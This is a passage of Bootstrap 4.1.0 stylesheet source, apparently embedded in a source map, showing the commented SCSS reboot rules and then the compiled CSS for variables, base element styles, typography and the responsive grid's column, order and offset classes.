iOS 8+ and Safari 8+.\n\n  @include hover {\n    color: $link-hover-color;\n    text-decoration: $link-hover-decoration;\n  }\n}\n\n// And undo these styles for placeholder links/named anchors (without href)\n// which have not been made explicitly keyboard-focusable (without tabindex).\n// It would be more straightforward to just use a[href] in previous block, but that\n// causes specificity issues in many other styles that are too complex to fix.\n// See https://github.com/twbs/bootstrap/issues/19402\n\na:not([href]):not([tabindex]) {\n  color: inherit;\n  text-decoration: none;\n\n  @include hover-focus {\n    color: inherit;\n    text-decoration: none;\n  }\n\n  &:focus {\n    outline: 0;\n  }\n}\n\n\n//\n// Code\n//\n\n// stylelint-disable font-family-no-duplicate-names\npre,\ncode,\nkbd,\nsamp {\n  font-family: monospace, monospace; // Correct the inheritance and scaling of font size in all browsers.\n  font-size: 1em; // Correct the odd `em` font sizing in all browsers.\n}\n// stylelint-enable font-family-no-duplicate-names\n\npre {\n  // Remove browser default top margin\n  margin-top: 0;\n  // Reset browser default of `1em` to use `rem`s\n  margin-bottom: 1rem;\n  // Don't allow content to break outside\n  overflow: auto;\n  // We have @viewport set which causes scrollbars to overlap content in IE11 and Edge, so\n  // we force a non-overlapping, non-auto-hiding scrollbar to counteract.\n  -ms-overflow-style: scrollbar;\n}\n\n\n//\n// Figures\n//\n\nfigure {\n  // Apply a consistent margin strategy (matches our type styles).\n  margin: 0 0 1rem;\n}\n\n\n//\n// Images and content\n//\n\nimg {\n  vertical-align: middle;\n  border-style: none; // Remove the border on images inside links in IE 10-.\n}\n\nsvg:not(:root) {\n  overflow: hidden; // Hide the overflow in IE\n}\n\n\n//\n// Tables\n//\n\ntable {\n  border-collapse: collapse; // Prevent double borders\n}\n\ncaption {\n  padding-top: $table-cell-padding;\n  padding-bottom: $table-cell-padding;\n  color: $table-caption-color;\n  text-align: left;\n  caption-side: bottom;\n}\n\nth {\n  // Matches default `<td>` alignment by inheriting from the `<body>`, or the\n  // closest parent with a set `text-align`.\n  text-align: inherit;\n}\n\n\n//\n// Forms\n//\n\nlabel {\n  // Allow labels to use `margin` for spacing.\n  display: inline-block;\n  margin-bottom: $label-margin-bottom;\n}\n\n// Remove the default `border-radius` that macOS Chrome adds.\n//\n// Details at https://github.com/twbs/bootstrap/issues/24093\nbutton {\n  border-radius: 0;\n}\n\n// Work around a Firefox/IE bug where the transparent `button` background\n// results in a loss of the default `button` focus styles.\n//\n// Credit: https://github.com/suitcss/base/\nbutton:focus {\n  outline: 1px dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n  margin: 0; // Remove the margin in Firefox and Safari\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\n\nbutton,\ninput {\n  overflow: visible; // Show the overflow in Edge\n}\n\nbutton,\nselect {\n  text-transform: none; // Remove the inheritance of text transform in Firefox\n}\n\n// 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`\n//    controls in Android 4.\n// 2. Correct the inability to style clickable types in iOS and Safari.\nbutton,\nhtml [type=\"button\"], // 1\n[type=\"reset\"],\n[type=\"submit\"] {\n  -webkit-appearance: button; // 2\n}\n\n// Remove inner border and padding from Firefox, but don't restore the outline like Normalize.\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n  padding: 0;\n  border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  box-sizing: border-box; // 1. Add the correct box sizing in IE 10-\n  padding: 0; // 2. Remove the padding in IE 10-\n}\n\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n  // Remove the default appearance of temporal inputs to avoid a Mobile Safari\n  // bug where setting a custom line-height prevents text from being vertically\n  // centered within the input.\n  // See https://bugs.webkit.org/show_bug.cgi?id=139848\n  // and https://github.com/twbs/bootstrap/issues/11266\n  -webkit-appearance: listbox;\n}\n\ntextarea {\n  overflow: auto; // Remove the default vertical scrollbar in IE.\n  // Textareas should really only resize vertically so they don't break their (horizontal) containers.\n  resize: vertical;\n}\n\nfieldset {\n  // Browsers set a default `min-width: min-content;` on fieldsets,\n  // unlike e.g. `<div>`s, which have `min-width: 0;` by default.\n  // So we reset that to ensure fieldsets behave more like a standard block element.\n  // See https://github.com/twbs/bootstrap/issues/12359\n  // and https://html.spec.whatwg.org/multipage/#the-fieldset-and-legend-elements\n  min-width: 0;\n  // Reset the default outline behavior of fieldsets so they don't affect page layout.\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\n// 1. Correct the text wrapping in Edge and IE.\n// 2. Correct the color inheritance from `fieldset` elements in IE.\nlegend {\n  display: block;\n  width: 100%;\n  max-width: 100%; // 1\n  padding: 0;\n  margin-bottom: .5rem;\n  font-size: 1.5rem;\n  line-height: inherit;\n  color: inherit; // 2\n  white-space: normal; // 1\n}\n\nprogress {\n  vertical-align: baseline; // Add the correct vertical alignment in Chrome, Firefox, and Opera.\n}\n\n// Correct the cursor style of increment and decrement buttons in Chrome.\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n[type=\"search\"] {\n  // This overrides the extra rounded corners on search inputs in iOS so that our\n  // `.form-control` class can properly style them. Note that this cannot simply\n  // be added to `.form-control` as it's not specific enough. For details, see\n  // https://github.com/twbs/bootstrap/issues/11586.\n  outline-offset: -2px; // 2. Correct the outline style in Safari.\n  -webkit-appearance: none;\n}\n\n//\n// Remove the inner padding and cancel buttons in Chrome and Safari on macOS.\n//\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n//\n// 1. Correct the inability to style clickable types in iOS and Safari.\n// 2. Change font properties to `inherit` in Safari.\n//\n\n::-webkit-file-upload-button {\n  font: inherit; // 2\n  -webkit-appearance: button; // 1\n}\n\n//\n// Correct element displays\n//\n\noutput {\n  display: inline-block;\n}\n\nsummary {\n  display: list-item; // Add the correct display in all browsers\n  cursor: pointer;\n}\n\ntemplate {\n  display: none; // Add the correct display in IE\n}\n\n// Always hide an element with the `hidden` HTML attribute (from PureCSS).\n// Needed for proper display in IE 10-.\n[hidden] {\n  display: none !important;\n}\n","/*!\n * Bootstrap v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n:root {\n  --blue: #007bff;\n  --indigo: #6610f2;\n  --purple: #6f42c1;\n  --pink: #e83e8c;\n  --red: #dc3545;\n  --orange: #fd7e14;\n  --yellow: #ffc107;\n  --green: #28a745;\n  --teal: #20c997;\n  --cyan: #17a2b8;\n  --white: #fff;\n  --gray: #6c757d;\n  --gray-dark: #343a40;\n  --primary: #007bff;\n  --secondary: #6c757d;\n  --success: #28a745;\n  --info: #17a2b8;\n  --warning: #ffc107;\n  --danger: #dc3545;\n  --light: #f8f9fa;\n  --dark: #343a40;\n  --breakpoint-xs: 0;\n  --breakpoint-sm: 576px;\n  --breakpoint-md: 768px;\n  --breakpoint-lg: 992px;\n  --breakpoint-xl: 1200px;\n  --font-family-sans-serif: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n  --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\n*,\n*::before,\n*::after {\n  box-sizing: border-box;\n}\n\nhtml {\n  font-family: sans-serif;\n  line-height: 1.15;\n  -webkit-text-size-adjust: 100%;\n  -ms-text-size-adjust: 100%;\n  -ms-overflow-style: scrollbar;\n  -webkit-tap-highlight-color: transparent;\n}\n\n@-ms-viewport {\n  width: device-width;\n}\n\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n  display: block;\n}\n\nbody {\n  margin: 0;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n  font-size: 1rem;\n  font-weight: 400;\n  line-height: 1.5;\n  color: #212529;\n  text-align: left;\n  background-color: #fff;\n}\n\n[tabindex=\"-1\"]:focus {\n  outline: 0 !important;\n}\n\nhr {\n  box-sizing: content-box;\n  height: 0;\n  overflow: visible;\n}\n\nh1, h2, h3, h4, h5, h6 {\n  margin-top: 0;\n  margin-bottom: 0.5rem;\n}\n\np {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nabbr[title],\nabbr[data-original-title] {\n  text-decoration: underline;\n  -webkit-text-decoration: underline dotted;\n  text-decoration: underline dotted;\n  cursor: help;\n  border-bottom: 0;\n}\n\naddress {\n  margin-bottom: 1rem;\n  font-style: normal;\n  line-height: inherit;\n}\n\nol,\nul,\ndl {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n  margin-bottom: 0;\n}\n\ndt {\n  font-weight: 700;\n}\n\ndd {\n  margin-bottom: .5rem;\n  margin-left: 0;\n}\n\nblockquote {\n  margin: 0 0 1rem;\n}\n\ndfn {\n  font-style: italic;\n}\n\nb,\nstrong {\n  font-weight: bolder;\n}\n\nsmall {\n  font-size: 80%;\n}\n\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\n\nsub {\n  bottom: -.25em;\n}\n\nsup {\n  top: -.5em;\n}\n\na {\n  color: #007bff;\n  text-decoration: none;\n  background-color: transparent;\n  -webkit-text-decoration-skip: objects;\n}\n\na:hover {\n  color: #0056b3;\n  text-decoration: underline;\n}\n\na:not([href]):not([tabindex]) {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus {\n  outline: 0;\n}\n\npre,\ncode,\nkbd,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\n\npre {\n  margin-top: 0;\n  margin-bottom: 1rem;\n  overflow: auto;\n  -ms-overflow-style: scrollbar;\n}\n\nfigure {\n  margin: 0 0 1rem;\n}\n\nimg {\n  vertical-align: middle;\n  border-style: none;\n}\n\nsvg:not(:root) {\n  overflow: hidden;\n}\n\ntable {\n  border-collapse: collapse;\n}\n\ncaption {\n  padding-top: 0.75rem;\n  padding-bottom: 0.75rem;\n  color: #6c757d;\n  text-align: left;\n  caption-side: bottom;\n}\n\nth {\n  text-align: inherit;\n}\n\nlabel {\n  display: inline-block;\n  margin-bottom: 0.5rem;\n}\n\nbutton {\n  border-radius: 0;\n}\n\nbutton:focus {\n  outline: 1px dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n  margin: 0;\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\n\nbutton,\ninput {\n  overflow: visible;\n}\n\nbutton,\nselect {\n  text-transform: none;\n}\n\nbutton,\nhtml [type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n  -webkit-appearance: button;\n}\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n  padding: 0;\n  border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  box-sizing: border-box;\n  padding: 0;\n}\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n  -webkit-appearance: listbox;\n}\n\ntextarea {\n  overflow: auto;\n  resize: vertical;\n}\n\nfieldset {\n  min-width: 0;\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\nlegend {\n  display: block;\n  width: 100%;\n  max-width: 100%;\n  padding: 0;\n  margin-bottom: .5rem;\n  font-size: 1.5rem;\n  line-height: inherit;\n  color: inherit;\n  white-space: normal;\n}\n\nprogress {\n  vertical-align: baseline;\n}\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n[type=\"search\"] {\n  outline-offset: -2px;\n  -webkit-appearance: none;\n}\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n::-webkit-file-upload-button {\n  font: inherit;\n  -webkit-appearance: button;\n}\n\noutput {\n  display: inline-block;\n}\n\nsummary {\n  display: list-item;\n  cursor: pointer;\n}\n\ntemplate {\n  display: none;\n}\n\n[hidden] {\n  display: none !important;\n}\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n  margin-bottom: 0.5rem;\n  font-family: inherit;\n  font-weight: 500;\n  line-height: 1.2;\n  color: inherit;\n}\n\nh1, .h1 {\n  font-size: 2.5rem;\n}\n\nh2, .h2 {\n  font-size: 2rem;\n}\n\nh3, .h3 {\n  font-size: 1.75rem;\n}\n\nh4, .h4 {\n  font-size: 1.5rem;\n}\n\nh5, .h5 {\n  font-size: 1.25rem;\n}\n\nh6, .h6 {\n  font-size: 1rem;\n}\n\n.lead {\n  font-size: 1.25rem;\n  font-weight: 300;\n}\n\n.display-1 {\n  font-size: 6rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\n.display-2 {\n  font-size: 5.5rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\n.display-3 {\n  font-size: 4.5rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\n.display-4 {\n  font-size: 3.5rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\nhr {\n  margin-top: 1rem;\n  margin-bottom: 1rem;\n  border: 0;\n  border-top: 1px solid rgba(0, 0, 0, 0.1);\n}\n\nsmall,\n.small {\n  font-size: 80%;\n  font-weight: 400;\n}\n\nmark,\n.mark {\n  padding: 0.2em;\n  background-color: #fcf8e3;\n}\n\n.list-unstyled {\n  padding-left: 0;\n  list-style: none;\n}\n\n.list-inline {\n  padding-left: 0;\n  list-style: none;\n}\n\n.list-inline-item {\n  display: inline-block;\n}\n\n.list-inline-item:not(:last-child) {\n  margin-right: 0.5rem;\n}\n\n.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\n\n.blockquote {\n  margin-bottom: 1rem;\n  font-size: 1.25rem;\n}\n\n.blockquote-footer {\n  display: block;\n  font-size: 80%;\n  color: #6c757d;\n}\n\n.blockquote-footer::before {\n  content: \"\\2014 \\00A0\";\n}\n\n.img-fluid {\n  max-width: 100%;\n  height: auto;\n}\n\n.img-thumbnail {\n  padding: 0.25rem;\n  background-color: #fff;\n  border: 1px solid #dee2e6;\n  border-radius: 0.25rem;\n  max-width: 100%;\n  height: auto;\n}\n\n.figure {\n  display: inline-block;\n}\n\n.figure-img {\n  margin-bottom: 0.5rem;\n  line-height: 1;\n}\n\n.figure-caption {\n  font-size: 90%;\n  color: #6c757d;\n}\n\ncode,\nkbd,\npre,\nsamp {\n  font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\ncode {\n  font-size: 87.5%;\n  color: #e83e8c;\n  word-break: break-word;\n}\n\na > code {\n  color: inherit;\n}\n\nkbd {\n  padding: 0.2rem 0.4rem;\n  font-size: 87.5%;\n  color: #fff;\n  background-color: #212529;\n  border-radius: 0.2rem;\n}\n\nkbd kbd {\n  padding: 0;\n  font-size: 100%;\n  font-weight: 700;\n}\n\npre {\n  display: block;\n  font-size: 87.5%;\n  color: #212529;\n}\n\npre code {\n  font-size: inherit;\n  color: inherit;\n  word-break: normal;\n}\n\n.pre-scrollable {\n  max-height: 340px;\n  overflow-y: scroll;\n}\n\n.container {\n  width: 100%;\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n\n@media (min-width: 576px) {\n  .container {\n    max-width: 540px;\n  }\n}\n\n@media (min-width: 768px) {\n  .container {\n    max-width: 720px;\n  }\n}\n\n@media (min-width: 992px) {\n  .container {\n    max-width: 960px;\n  }\n}\n\n@media (min-width: 1200px) {\n  .container {\n    max-width: 1140px;\n  }\n}\n\n.container-fluid {\n  width: 100%;\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n\n.row {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n  flex-wrap: wrap;\n  margin-right: -15px;\n  margin-left: -15px;\n}\n\n.no-gutters {\n  margin-right: 0;\n  margin-left: 0;\n}\n\n.no-gutters > .col,\n.no-gutters > [class*=\"col-\"] {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col,\n.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm,\n.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md,\n.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg,\n.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl,\n.col-xl-auto {\n  position: relative;\n  width: 100%;\n  min-height: 1px;\n  padding-right: 15px;\n  padding-left: 15px;\n}\n\n.col {\n  -ms-flex-preferred-size: 0;\n  flex-basis: 0;\n  -ms-flex-positive: 1;\n  flex-grow: 1;\n  max-width: 100%;\n}\n\n.col-auto {\n  -ms-flex: 0 0 auto;\n  flex: 0 0 auto;\n  width: auto;\n  max-width: none;\n}\n\n.col-1 {\n  -ms-flex: 0 0 8.333333%;\n  flex: 0 0 8.333333%;\n  max-width: 8.333333%;\n}\n\n.col-2 {\n  -ms-flex: 0 0 16.666667%;\n  flex: 0 0 16.666667%;\n  max-width: 16.666667%;\n}\n\n.col-3 {\n  -ms-flex: 0 0 25%;\n  flex: 0 0 25%;\n  max-width: 25%;\n}\n\n.col-4 {\n  -ms-flex: 0 0 33.333333%;\n  flex: 0 0 33.333333%;\n  max-width: 33.333333%;\n}\n\n.col-5 {\n  -ms-flex: 0 0 41.666667%;\n  flex: 0 0 41.666667%;\n  max-width: 41.666667%;\n}\n\n.col-6 {\n  -ms-flex: 0 0 50%;\n  flex: 0 0 50%;\n  max-width: 50%;\n}\n\n.col-7 {\n  -ms-flex: 0 0 58.333333%;\n  flex: 0 0 58.333333%;\n  max-width: 58.333333%;\n}\n\n.col-8 {\n  -ms-flex: 0 0 66.666667%;\n  flex: 0 0 66.666667%;\n  max-width: 66.666667%;\n}\n\n.col-9 {\n  -ms-flex: 0 0 75%;\n  flex: 0 0 75%;\n  max-width: 75%;\n}\n\n.col-10 {\n  -ms-flex: 0 0 83.333333%;\n  flex: 0 0 83.333333%;\n  max-width: 83.333333%;\n}\n\n.col-11 {\n  -ms-flex: 0 0 91.666667%;\n  flex: 0 0 91.666667%;\n  max-width: 91.666667%;\n}\n\n.col-12 {\n  -ms-flex: 0 0 100%;\n  flex: 0 0 100%;\n  max-width: 100%;\n}\n\n.order-first {\n  -ms-flex-order: -1;\n  order: -1;\n}\n\n.order-last {\n  -ms-flex-order: 13;\n  order: 13;\n}\n\n.order-0 {\n  -ms-flex-order: 0;\n  order: 0;\n}\n\n.order-1 {\n  -ms-flex-order: 1;\n  order: 1;\n}\n\n.order-2 {\n  -ms-flex-order: 2;\n  order: 2;\n}\n\n.order-3 {\n  -ms-flex-order: 3;\n  order: 3;\n}\n\n.order-4 {\n  -ms-flex-order: 4;\n  order: 4;\n}\n\n.order-5 {\n  -ms-flex-order: 5;\n  order: 5;\n}\n\n.order-6 {\n  -ms-flex-order: 6;\n  order: 6;\n}\n\n.order-7 {\n  -ms-flex-order: 7;\n  order: 7;\n}\n\n.order-8 {\n  -ms-flex-order: 8;\n  order: 8;\n}\n\n.order-9 {\n  -ms-flex-order: 9;\n  order: 9;\n}\n\n.order-10 {\n  -ms-flex-order: 10;\n  order: 10;\n}\n\n.order-11 {\n  -ms-flex-order: 11;\n  order: 11;\n}\n\n.order-12 {\n  -ms-flex-order: 12;\n  order: 12;\n}\n\n.offset-1 {\n  margin-left: 8.333333%;\n}\n\n.offset-2 {\n  margin-left: 16.666667%;\n}\n\n.offset-3 {\n  margin-left: 25%;\n}\n\n.offset-4 {\n  margin-left: 33.333333%;\n}\n\n.offset-5 {\n  margin-left: 41.666667%;\n}\n\n.offset-6 {\n  margin-left: 50%;\n}\n\n.offset-7 {\n  margin-left: 58.333333%;\n}\n\n.offset-8 {\n  margin-left: 66.666667%;\n}\n\n.offset-9 {\n  margin-left: 75%;\n}\n\n.offset-10 {\n  margin-left: 83.333333%;\n}\n\n.offset-11 {\n  margin-left: 91.666667%;\n}\n\n@media (min-width: 576px) {\n  .col-sm {\n    -ms-flex-preferred-size: 0;\n    flex-basis: 0;\n    -ms-flex-positive: 1;\n    flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-sm-auto {\n    -ms-flex: 0 0 auto;\n    flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-sm-1 {\n    -ms-flex: 0 0 8.333333%;\n    flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-sm-2 {\n    -ms-flex: 0 0 16.666667%;\n    flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-sm-3 {\n    -ms-flex: 0 0 25%;\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-sm-4 {\n    -ms-flex: 0 0 33.333333%;\n    flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-sm-5 {\n    -ms-flex: 0 0 41.666667%;\n    flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-sm-6 {\n    -ms-flex: 0 0 50%;\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-sm-7 {\n    -ms-flex: 0 0 58.333333%;\n    flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-sm-8 {\n    -ms-flex: 0 0 66.666667%;\n    flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-sm-9 {\n    -ms-flex: 0 0 75%;\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-sm-10 {\n    -ms-flex: 0 0 83.333333%;\n    flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-sm-11 {\n    -ms-flex: 0 0 91.666667%;\n    flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-sm-12 {\n    -ms-flex: 0 0 100%;\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-sm-first {\n    -ms-flex-order: -1;\n    order: -1;\n  }\n  .order-sm-last {\n    -ms-flex-order: 13;\n    order: 13;\n  }\n  .order-sm-0 {\n    -ms-flex-order: 0;\n    order: 0;\n  }\n  .order-sm-1 {\n    -ms-flex-order: 1;\n    order: 1;\n  }\n  .order-sm-2 {\n    -ms-flex-order: 2;\n    order: 2;\n  }\n  .order-sm-3 {\n    -ms-flex-order: 3;\n    order: 3;\n  }\n  .order-sm-4 {\n    -ms-flex-order: 4;\n    order: 4;\n  }\n  .order-sm-5 {\n    -ms-flex-order: 5;\n    order: 5;\n  }\n  .order-sm-6 {\n    -ms-flex-order: 6;\n    order: 6;\n  }\n  .order-sm-7 {\n    -ms-flex-order: 7;\n    order: 7;\n  }\n  .order-sm-8 {\n    -ms-flex-order: 8;\n    order: 8;\n  }\n  .order-sm-9 {\n    -ms-flex-order: 9;\n    order: 9;\n  }\n  .order-sm-10 {\n    -ms-flex-order: 10;\n    order: 10;\n  }\n  .order-sm-11 {\n    -ms-flex-order: 11;\n    order: 11;\n  }\n  .order-sm-12 {\n    -ms-flex-order: 12;\n    order: 12;\n  }\n  .offset-sm-0 {\n    margin-left: 0;\n  }\n  .offset-sm-1 {\n    margin-left: 8.333333%;\n  }\n  .offset-sm-2 {\n    margin-left: 16.666667%;\n  }\n  .offset-sm-3 {\n    margin-left: 25%;\n  }\n  .offset-sm-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-sm-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-sm-6 {\n    margin-left: 50%;\n  }\n  .offset-sm-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-sm-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-sm-9 {\n    margin-left: 75%;\n  }\n  .offset-sm-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-sm-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n@media (min-width: 768px) {\n  .col-md {\n    -ms-flex-preferred-size: 0;\n    flex-basis: 0;\n    -ms-flex-positive: 1;\n    flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-md-auto {\n    -ms-flex: 0 0 auto;\n    flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-md-1 {\n    -ms-flex: 0 0 8.333333%;\n    flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-md-2 {\n    -ms-flex: 0 0 16.666667%;\n    flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-md-3 {\n    -ms-flex: 0 0 25%;\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-md-4 {\n    -ms-flex: 0 0 33.333333%;\n    flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-md-5 {\n    -ms-flex: 0 0 41.666667%;\n    flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-md-6 {\n    -ms-flex: 0 0 50%;\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-md-7 {\n    -ms-flex: 0 0 58.333333%;\n    flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-md-8 {\n    -ms-flex: 0 0 66.666667%;\n    flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-md-9 {\n    -ms-flex: 0 0 75%;\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-md-10 {\n    -ms-flex: 0 0 83.333333%;\n    flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-md-11 {\n    -ms-flex: 0 0 91.666667%;\n    flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-md-12 {\n    -ms-flex: 0 0 100%;\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-md-first {\n    -ms-flex-order: -1;\n    order: -1;\n  }\n  .order-md-last {\n    -ms-flex-order: 13;\n    order: 13;\n  }\n  .order-md-0 {\n    -ms-flex-order: 0;\n    order: 0;\n  }\n  .order-md-1 {\n    -ms-flex-order: 1;\n    order: 1;\n  }\n  .order-md-2 {\n    -ms-flex-order: 2;\n    order: 2;\n  }\n  .order-md-3 {\n    -ms-flex-order: 3;\n    order: 3;\n  }\n  .order-md-4 {\n    -ms-flex-order: 4;\n    order: 4;\n  }\n  .order-md-5 {\n    -ms-flex-order: 5;\n    order: 5;\n  }\n  .order-md-6 {\n    -ms-flex-order: 6;\n    order: 6;\n  }\n  .order-md-7 {\n    -ms-flex-order: 7;\n    order: 7;\n  }\n  .order-md-8 {\n    -ms-flex-order: 8;\n    order: 8;\n  }\n  .order-md-9 {\n    -ms-flex-order: 9;\n    order: 9;\n  }\n  .order-md-10 {\n    -ms-flex-order: 10;\n    order: 10;\n  }\n  .order-md-11 {\n    -ms-flex-order: 11;\n    order: 11;\n  }\n  .order-md-12 {\n    -ms-flex-order: 12;\n    order: 12;\n  }\n  .offset-md-0 {\n    margin-left: 0;\n  }\n  .offset-md-1 {\n    margin-left: 8.333333%;\n  }\n  .offset-md-2 {\n    margin-left: 16.666667%;\n  }\n  .offset-md-3 {\n    margin-left: 25%;\n  }\n  .offset-md-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-md-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-md-6 {\n    margin-left: 50%;\n  }\n  .offset-md-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-md-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-md-9 {\n    margin-left: 75%;\n  }\n  .offset-md-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-md-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n@media (min-width: 992px) {\n  .col-lg {\n    -ms-flex-preferred-size: 0;\n    flex-basis: 0;\n    -ms-flex-positive: 1;\n    flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-lg-auto {\n    -ms-flex: 0 0 auto;\n    flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-lg-1 {\n    -ms-flex: 0 0 8.333333%;\n    flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-lg-2 {\n    -ms-flex: 0 0 16.666667%;\n    flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-lg-3 {\n    -ms-flex: 0 0 25%;\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-lg-4 